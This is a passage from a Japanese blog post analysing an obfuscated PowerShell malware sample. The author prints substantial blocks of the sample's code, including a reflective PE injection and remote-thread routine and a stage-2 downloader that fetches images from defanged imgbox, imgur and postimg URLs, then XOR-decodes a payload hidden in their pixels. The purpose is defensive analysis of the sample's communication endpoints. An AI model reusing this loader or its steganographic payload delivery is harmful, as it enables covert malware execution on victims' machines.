-ForceASLR ${FoR`cea`sLR} } if (${PELO`AD`EdinFO} -eq [IntPtr]::"z`erO") { Throw "" } ${pEHa`NdLe} = ${PeloA`d`EDiN`FO}[0] ${Re`M`oTEpeHanD`le} = ${pelo`ADeDi`NFO}[1] ${P`EiNFo} = &("{0}{1}{4}{3}{2}" -f 'Get','-PE','ailedInfo','et','D') -PEHandle ${peH`A`NDle} -Win32Types ${wIn3`2ty`pes} -Win32Constants ${wIN3`2coNST`An`TS} if ((${Pe`INfo}."Fil`E`Type" -ieq "DLL") -and (${ReMo`T`eProChAn`Dle} -eq [IntPtr]::"z`ERo")) { switch (${fu`N`cR`eTurNT`yPE}) { 'WString' { &("{1}{2}{0}"-f 'erbose','Write','-V') "" [IntPtr]${wsT`RI`NGfuN`caD`dr} = &("{1}{4}{2}{5}{3}{0}{6}"-f 'Ad','G','t-Memor','roc','e','yP','dress') -PEHandle ${pe`HA`NdlE} -FunctionName "WStringFunc" if (${WST`Ri`NGf`UNCa`ddR} -eq [IntPtr]::"Z`ERo") { Throw "" } ${WSt`RINgFunCd`E`leGaTe} = &("{2}{0}{1}" -f 'et-De','legateType','G') @() ([IntPtr]) ${Wstr`ingFU`NC} = [System.Runtime.InteropServices.Marshal]::"GETDE`l`eg`AtEF`o`RFunC`Ti`OnPO`INtEr"(${Ws`T`R`ingF`UNcaDdR}, ${wStRinGFUNC`De`l`EG`A`Te}) [IntPtr]${OUTpu`T`p`Tr} = ${W`STrInG`FU`NC}."In`VoKe"() ${Ou`T`PUT} = [System.Runtime.InteropServices.Marshal]::"pT`RT`OsTRI`NG`UnI"(${O`U`T`PuTPTr}) &("{1}{0}{2}"-f 'e-','Writ','Output') ${oUT`pUt} } 'String' { &("{2}{0}{1}" -f 'ite','-Verbose','Wr') "" [IntPtr]${STri`N`GfUnc`ADdr} = &("{3}{5}{1}{0}{2}{6}{4}" -f'yPr','mor','ocAddr','Ge','s','t-Me','es') -PEHandle ${P`E`handlE} -FunctionName "StringFunc" if (${s`Tri`N`gF`UNcadDr} -eq [IntPtr]::"zE`RO") { Throw "" } ${s`T`RIngFunCD`Elegate} = &("{2}{0}{1}{3}{4}" -f't-De','l','Ge','ega','teType') @() ([IntPtr]) ${st`R`ingf`UnC} = [System.Runtime.InteropServices.Marshal]::"GEtdE`LeGatEf`oRFuNct`IO`NP`Oi`NtEr"(${S`TR`In`GfuNc`ADDr}, ${S`TR`i`NgFU`NCdELEga`TE}) [IntPtr]${ou`Tpu`TpTR} = ${S`T`R`INgfUnC}."Inv`O`KE"() ${O`UtpUT} = [System.Runtime.InteropServices.Marshal]::"PTRT`OS`T`RInGa`NsI"(${OU`TP`Ut`ptr}) &("{2}{0}{1}{3}" -f'e-O','utp','Writ','ut') ${o`UtpUt} } 'Void' { &("{0}{4}{2}{1}{3}" -f'Writ','b','Ver','ose','e-') "" [IntPtr]${voI`d`FUnc`AdDr} = &("{1}{2}{3}{0}"-f'ddress','G','et-','MemoryProcA') -PEHandle ${pE`HAND`le} -FunctionName "VoidFunc" if (${vo`IdF`Un`Caddr} -eq [IntPtr]::"zE`Ro") { Throw "" } ${v`oiDFun`cDe`lEg`Ate} = &("{1}{0}{2}{3}"-f 'e','G','t-Del','egateType') @() ([Void]) ${VOi`dfu`Nc} = [System.Runtime.InteropServices.Marshal]::"Get`DELe`GA`T`eFORFuncti`OnPOI`NtER"(${VOid`Fun`cA`ddR}, ${V`OIdF`U`N`cDeLe`gate}) ${vOI`DF`UnC}."iN`VO`KE"() | &("{2}{1}{0}" -f 'll','ut-Nu','O') } } } elseif ((${peI`NFO}."FilET`YpE" -ieq "DLL") -and (${reMo`T`eP`ROC`h`AnDLE} -ne [IntPtr]::"ZE`Ro")) { ${VO`idF`UN`CadDR} = &("{4}{0}{3}{2}{1}"-f'-','yProcAddress','r','Memo','Get') -PEHandle ${PeH`An`d`Le} -FunctionName "VoidFunc" if ((${Vo`I`D`FU`NcaDDr} -eq ${N`ULl}) -or (${v`Oi`DF`UnC`ADDR} -eq [IntPtr]::"Z`erO")) { Throw "" } ${VOID`F`UN`CAd`dR} = &("{3}{4}{0}{1}{2}"-f'ne','d','IntAsUnsigned','Sub-Si','g') ${VoiD`F`Un`CaDDr} ${pe`h`AndlE} ${vOIdF`U`NcaddR} = &("{1}{0}{4}{2}{6}{5}{3}"-f 'dd-Sig','A','dIntA','d','ne','igne','sUns') ${v`OIdFUN`cA`d`Dr} ${RemOT`epeha`N`d`lE} ${rtHRe`A`D`HaNdle} = &("{3}{0}{5}{4}{1}{2}" -f'e-R','re','ad','Creat','h','emoteT') -ProcessHandle ${RE`MotEP`RoCh`ANdle} -StartAddress ${vOI`d`FUNCadDR} -Win32Functions ${wIn32`FUn`C`TiO`NS} } if (${re`m`OTePrOChaN`DLE} -eq [IntPtr]::"zE`Ro" -and ${P`E`INFO}."F`i`LetyPE" -ieq "DLL") { &("{1}{2}{5}{3}{4}{0}" -f 'ary','Invok','e-Memor','FreeLi','br','y') -PEHandle ${PEH`A`NDLe} } else { ${s`Uc`CEss} = ${win3`2Fu`NCtIO`Ns}."v`IrtuaLF`REE"."INvo`KE"(${p`eH`AndLe}, [UInt64]0, ${WIn`32con`sTan`TS}."ME`m`_RELe`Ase") if (${s`UCc`eSS} -eq ${FAL`SE}) { &("{4}{1}{3}{0}{2}" -f'n','n','g','i','Write-War') "" -WarningAction ("{0}{1}{2}"-f'Contin','u','e') } } &("{1}{2}{0}" -f 'Verbose','Writ','e-') "" } &("{0}{1}"-f'Mai','n') } Function mA`IN { if ((${pSc`MD`leT}."m`yINvOca`T`IoN"."b`ou`ND`p`ARAMeters"["Debug"] -ne ${Nu`ll}) -and ${psCmdL`ET}."MY`inv`oCA`TIon"."BOU`NDpa`RAmeTers"["Debug"]."i`spreSenT") { ${DE`B`Ug`PR`e`FEreNCE} = "Continue" } if (!${p`eBYTes}) { ${pebY`TES} = [System.Convert]::"Fro`M`BaSe64STRi`Ng"(${glOBaL:`M`G`GG}); } &("{0}{1}{2}"-f 'Write-','V','erbose') "" ${E_Ma`gIc} = (${p`Eby`TEs}[0..1] | &('%') {[Char] ${_}}) -join '' if (${E_mag`iC} -ne 'MZ') { throw '' } if (-not ${doNOt`zE`R`omZ}) { ${PEbyt`es}[0] = 0 ${peb`ytEs}[1] = 0 } if (${E`Xe`Args} -ne ${n`ULl} -and ${EX`ea`RGs} -ne '') { ${eXe`AR`GS} = "ReflectiveExe $ExeArgs" } else { ${exEa`R`GS} = "ReflectiveExe" } if (${CoMpU`Te`Rn`A`me} -eq ${n`Ull} -or ${Co`MPuT`ERna`ME} -imatch "^\s*$") { &("{3}{1}{0}{2}" -f'-','oke','Command','Inv') -ScriptBlock ${rE`mOTes`cr`ip`TBL`OCk} -ArgumentList @(${P`e`BytEs}, ${fUnCR`E`T`URNTY`pE}, ${p`Ro`CID}, ${P`RO`cNa`mE},${FO`R`CE`Aslr}) } else { &("{4}{0}{2}{3}{1}" -f'vo','mmand','k','e-Co','In') -ScriptBlock ${rem`o`TESCr`I`pTBL`Ock} -ArgumentList @(${pebY`TeS}, ${funcr`e`Tur`NTYPe}, ${PRo`Cid}, ${pRO`C`NAme},${fOrce`AS`lR}) -ComputerName ${cOmPut`Ern`AmE} } } &("{1}{0}"-f 'n','Mai') } &("{1}{0}{2}" -f 'Ms','Invoke-','d') -ForceASLR } If($env:PROCESSOR_ARCHITECTURE -ne "x86"){ Write-Warning "64" $Job = Start-Job $aCmAS -RunAs32 $SCStore = $Job | Wait-Job | Receive-Job }Else{ $aCmAS.invoke() }
もー、トレースしてられないっす・・・
とはいえ、環境をチェックしながらさらに処理を行うようです。
If($env:PROCESSOR_ARCHITECTURE -ne "x86"){ Write-Warning "64" $Job = Start-Job $aCmAS -RunAs32 $SCStore = $Job | Wait-Job | Receive-Job }Else{ $aCmAS.invoke() }
$aCmAS
でセットされた内容に、stage 2の通信先がありました。
hxxps://images2[.]imgbox[.]com/2e/65/qGCb0Rja_o.png hxxps://i[.]imgur[.]com/9Tf1m5c.png hxxps://i[.]postimg[.]cc/dwc1cP5D/doctor.png?dl=1
stage 2では以下のような画像を取得しています。
んでもって、取得した画像から新たにコードを抽出しています。
foreach(${u`RL} in ${n`U}){ if ((&('a') ("{3}{2}{1}{0}" -f't','n','.WebClie','Net'))."dow`N`lOAdSTR`ing"(${u`Rl})."LE`NGTh" -gt 999){ ${g}=.('a') ("{2}{0}{4}{5}{3}{1}" -f'em.Dr','map','Syst','g.Bit','aw','in')((&('a') ("{2}{1}{0}" -f'ebClient','.W','Net'))."OpEn`Re`Ad"(${U`Rl})); ${o}=.('a') ("{1}{0}" -f 'te[]','By') 46200;(0..153)|&('%'){ foreach(${X} in(0..299)){ ${p}=${G}."geT`pix`EL"(${x},${_}); ${O}[${_}*300+${x}]=([math]::"f`LOOR"((${P}."B"-band15)*16)-bor(${p}."g" -band 15)) } }; ${MA`Gg}=[System.Text.Encoding]::"a`sCIi"."g`e`TstR`INg"(${O}[0..45935]); break } }
抽出後は[Reflection.Assembly]::Load
しつつ、いろいろまぜまぜしてる
$pg=""+(get-culture).LCID foreach ($Dy in $magg){ $o = @() $xx = "$($pg)".ToCharArray() $re = [System.Text.Encoding]::UTF8 $Dy = [System.Convert]::FromBase64String($Dy) for ($i = 0; $i -lt $Dy.count; $i++) { $o += [char]([Byte]$Dy[$i] -bxor [Byte]$xx[$i%$xx.count]) }} $DXx = $re.GetString($o) if ([environment]::OSVersion.Version.Major -eq 6){$Uno=(a IO.StreamReader((a IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String($Dxx),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()}else{$Uno = [ee]::De($Dxx)} ${GloBal:MGGG} = ${UNo}
またFunction mAIN
では${GloBal:MGGG}
を使用して処理をしていることもわかった。
画像より取得したコードをこねくり回して、それを変数${GloBal:MGGG}
に代入し、
${pebYTES} = [System.Convert]::"FroMBaSe64STRiNg"(${glOBaL:MGGG});
でデコードしたものは、${pebYTES}
に代入。
その後、頭2文字を取得しつつ${E_MagIc} = (${pEbyTEs}[0..1] | &('%') {[Char] ${_}}) -join ''
、 if (${E_magiC} -ne 'MZ')
でマジックナンバーをチェックしたりもしてる~(って見ただけw)
Function mAIN { if ((${pScMDleT}."myINvOcaTIoN"."bouNDpARAMeters"["Debug"] -ne ${Null}) -and ${psCmdLET}."MYinvoCATIon"."BOUNDpaRAmeTers"["Debug"]."ispreSenT") { ${DEBUgPReFEreNCE} = "Continue" } if (!${peBYTes}) { ${pebYTES} = [System.Convert]::"FroMBaSe64STRiNg"(${glOBaL:MGGG}); } &("{0}{1}{2}"-f 'Write-','V','erbose') "" ${E_MagIc} = (${pEbyTEs}[0..1] | &('%') {[Char] ${_}}) -join '' if (${E_magiC} -ne 'MZ') { throw '' } if (-not ${doNOtzERomZ}) { ${PEbytes}[0] = 0 ${pebytEs}[1] = 0 } if (${EXeArgs} -ne ${nULl} -and ${EXeaRGs} -ne '') { ${eXeARGS} = "ReflectiveExe $ExeArgs" } else { ${exEaRGS} = "ReflectiveExe" } if (${CoMpUTeRnAme} -eq ${nUll} -or ${CoMPuTERnaME} -imatch "^\s*$") { &("{3}{1}{0}{2}" -f'-','oke','Command','Inv') -ScriptBlock ${rEmOTescripTBLOCk} -ArgumentList @(${PeBytEs}, ${fUnCRETURNTYpE}, ${pRoCID}, ${PROcNamE},${FORCEAslr}) } else { &("{4}{0}{2}{3}{1}" -f'vo','mmand','k','e-Co','In') -ScriptBlock ${remoTESCrIpTBLOck} -ArgumentList @(${pebYTeS}, ${funcreTurNTYPe}, ${PRoCid}, ${pROCNAme},${fOrceASlR}) -ComputerName ${cOmPutErnAmE} } }
他にもいろいろいじくりまわしましたが、通信先は特定できたのと、肩が凝ったのでこの辺でw
あ、あと-ForceASLR
こんなのを引数に使ったりもしたりしてました。
「抽出したコードはPEっぽいけど、デコード失敗したかな(笑)」と言っていますが、もしかしたらそこまで失敗してなかった?かも。
インジェクション前の生のコードだったから、中身が少し異なってたのかな。(動的で入手した検体と大まかな構成は一緒だった)
以上
■注意
・本記事は不正な通信先を特定する方法について記載したものであり、いかなる理由でも悪用はしないでください。
・予告なく本記事を削除する場合があります。
・記事に誤まり等があればTwitterのDMにてご連絡ください。
2019/01/26 22:25:一部情報を追記 2019/01/26 23:05:一部の誤字脱字を修正